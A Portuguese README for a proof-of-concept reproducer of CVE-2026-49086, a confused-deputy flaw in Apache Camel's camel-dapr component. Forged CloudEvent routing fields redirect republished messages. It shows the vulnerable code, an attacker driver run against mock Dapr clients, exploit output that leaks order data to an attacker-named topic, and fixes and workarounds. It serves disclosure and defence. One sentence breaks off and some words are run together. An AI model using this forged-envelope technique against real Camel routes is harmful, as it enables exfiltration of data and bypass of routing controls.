
Reprodutor de PoC para CVE-2026-49086 demonstrando uma sobrescrita de cabeçalho de roteamento do tipo deputado confuso no camel-dapr do Apache Camel, permitindo redirecionamento de mensagens e exfiltração de dados por meio de campos CloudEvent não confiáveis.
Este projeto demonstra uma falha de substituição de cabeçalho de roteamento (deputado confuso) no componente camel-dapr
do Apache Camel, rastreada como CVE-2026-49086.
O consumidor de pub/sub Dapr (DaprPubSubConsumer) copia campos do CloudEvent de entrada (não confiável) para os
cabeçalhos de mensagem do Exchange. Duas delas — pubsubName e topic — são cabeçalhos de roteamento na direção do produtor
(CamelDaprPubSubName / CamelDaprTopic). Quando a mesma rota publica posteriormente com um produtor dapr:pubSub,
o DaprConfigurationOptionsProxy . Assim, o envelope
de entrada, controlado por um remetente de mensagem não confiável, sobrescreve silenciosamente o destino da republicação da rota:
// DaprPubSubConsumer.createServiceBusExchange (affected 4.18.2) — untrusted envelope -> routing headers
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName()); // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC, cloudEvent.getTopic()); // CamelDaprTopic
// DaprConfigurationOptionsProxy.getOption (affected 4.18.2) — header WINS over endpoint config
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
? fallbackFn.get() // endpoint config (e.g. audit-broker/audit-log)
: exchangeFn.apply(exchange); // the header copied from the inbound CloudEvent
Em uma rota que consome de um tópico e republica em outro (um padrão comum de auditoria/encaminhamento/fan-out),
um ator que consiga publicar no tópico assinado define pubsubName/topic do CloudEvent e redireciona
a mensagem republicada para um componente + tópico Dapr pub/sub arbitrários — exfiltrando o payload para um
broker acessível ao atacante, ou contornando o roteamento/ACLs pretendidos. Isso é um deputado confuso: o aplicativo
republica com suas próprias credenciais Dapr para um destino escolhido pelo atacante.
Este PoC demonstra o impacto como redirecionamento de mensagem / exfiltração de dados (CWE-441, a partir de CWE-20).
Aviso de segurança: https://camel.apache.org/security/CVE-2026-49086.html
| Propriedade | Valor |
|---|---|
| Componente | camel-dapr |
| Classe Afetada | org.apache.camel.component.dapr.consumer.DaprPubSubConsumer (define os cabeçalhos PUBSUB_NAME/TOPIC a partir do CloudEvent de entrada) |
| CWE | CWE-20 (Validação de Entrada Incorreta) / CWE-441 (Proxy Não Intencional / Deputado Confuso) |
| Impacto | Redirecionar a mensagem republicada para um componente + tópico Dapr pub/sub arbitrários (exfiltração / bypass de roteamento e ACL) |
| Pré-condições | Uma rota consome de um tópico dapr:pubSub e republica por meio de um produtor dapr:pubSub; o atacante pode publicar no tópico assinado |
| Versões Afetadas | 4.12.0 a 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23630 (PR apache/camel#23886) |
| Crédito | Leon Zlobecki |
A correção impede que o consumidor defina os dois cabeçalhos de roteamento (
CamelDaprPubSubName/CamelDaprTopic); os demais cabeçalhos de metadados do CloudEvent permanecem inalterados. O produtor passa então a usar sempre o pub/sub + tópico configurados no endpoint. (UmDaprHeaderFilterStrategytambém foi adicionado para consistência do catálogo, mas a alteração no cabeçalho de roteamento é a correção efetiva.)
A vulnerabilidade está inteiramente no Camel — o consumidor copia CloudEvent.pubsubName/topic para os cabeçalhos
de roteamento, e o produtor prefere esses cabeçalhos. O sidecar Dapr é apenas transporte. Este reprodutor injeta
clientes mock do SDK Dapr (client=#mockClient, previewClient=#mockPreview) para que os verdadeiros
DaprPubSubConsumer e DaprPubSubHandler sejam executados sem alterações e sem sidecar: o cliente preview mock captura o
listener de assinatura, e o cliente mock registra o destino da publicação. O driver atacante então entrega um CloudEvent
forjado ao listener capturado — exatamente o que um remetente capaz de publicar no tópico assinado dispara.
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");
O autor pretende que toda ordem seja espelhada para o destino fixo audit-broker/audit-log. Mas, como o consumidor
copia o pubsubName/topic do envelope de entrada para os cabeçalhos de roteamento, o produtor de auditoria publica para
o que o envelope nomear — nunca para o fluxo de auditoria configurado.
Tudo é executado em um único contêiner autocontido.
CVE-2026-49086/
├── pom.xml # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitive) + spring-boot-web
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── DaprMockConfig.java # mock DaprClient + DaprPreviewClient (dynamic proxies; no sidecar)
│ ├── PublishRecorder.java # records where the producer actually published
│ ├── SubscriptionRegistry.java # captures the consumer's subscription listener
│ ├── VictimRoutes.java # dapr:pubSub subscribe -> dapr:pubSub publish (audit)
│ └── ExploitController.java # attacker: deliver forged CloudEvents; compare publish target
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49086 — camel-dapr consumer routing-header override (confused deputy) ===
Route intent: mirror every order to a FIXED audit stream
.to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")
1) Ordinary order event (envelope pubsub=orders-broker topic=orders)
audit copy actually published to: orders-broker / orders
-> already NOT the configured audit-broker/audit-log: the envelope's routing fields leaked into the producer.
2) Malicious order event (envelope forged: pubsub=attacker-broker topic=exfil-secrets)
audit copy actually published to: attacker-broker / exfil-secrets
leaked order data: {"orderId":"A-1002","card":"4111-2222-3333-4444"}
>>> PROVEN: the inbound CloudEvent's pubsubName/topic overrode the route's hard-coded
>>> audit target, so an attacker who can publish to 'orders' redirects the order copy to
>>> an arbitrary pub/sub component + topic (data exfiltration / routing bypass): true
Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Após a correção, o consumidor não define mais
CamelDaprPubSubName / CamelDaprTopic, portanto um produtor dapr:pubSub a jusante de um consumidor dapr:pubSub usa
o componente e o tópico pub/sub configurados no endpoint.
Até atualizar, remova os cabeçalhos de roteamento entre o consumidor e qualquer produtor dapr:pubSub na rota (por
exemplo, removeHeaders("CamelDaprPubSubName,CamelDaprTopic")) e defina o pub/sub + tópico da republicação a partir de uma
fonte confiável.
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade publicamente divulgada e corrigida. Não o utilize contra sistemas sem permissão explícita.